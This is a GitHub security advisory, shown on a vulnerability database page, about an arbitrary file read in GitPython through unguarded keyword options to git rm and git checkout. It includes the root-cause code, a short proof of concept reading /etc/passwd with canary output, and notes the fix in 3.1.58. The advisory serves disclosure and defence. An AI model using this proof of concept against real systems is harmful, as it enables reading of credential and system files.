GHSA-HH9P-6WH2-4MFC

Vulnerability from github – Published: 2026-08-07 15:43 – Updated: 2026-08-07 15:43
VLAI
Summary
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
Details

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with -F, arbitrary file read returned in band - at two sites that advisory assessed and cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment "--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site git command that advisory's assessment
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same

That assessment is very nearly right, and I think that is why it held: with --pathspec-from-file alone, Git splits on newlines and the error quotes only the first line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site disclosed?
IndexFile.remove()git rm yes, full file
Head.checkout()git checkout yes, full file
HEAD.reset()git reset no - git reset does not error on unmatched pathspecs
IndexFile.move()git mv no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T15:43:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=\u003cfile\u003e` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f\u0027s sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory\u0027s assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # \u003c- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -\u003e `git rm` returns ALL 3 canary lines in-band\n       stderr: \u0027fatal: pathspec \u0027LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       \u0027 did not match any files\u0027\n[PASS] Head.checkout() -\u003e `git checkout` returns ALL 3 canary lines in-band\n       stderr: \u0027error: pathspec \u0027LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       \u0027 did not match any file(s) known to git\u0027\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` \u2192 `git rm` | **yes, full file** |\n| `Head.checkout()` \u2192 `git checkout` | **yes, full file** |\n| `HEAD.reset()` \u2192 `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` \u2192 `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.",
  "id": "GHSA-hh9p-6wh2-4mfc",
  "modified": "2026-08-07T15:43:56Z",
  "published": "2026-08-07T15:43:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2204"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…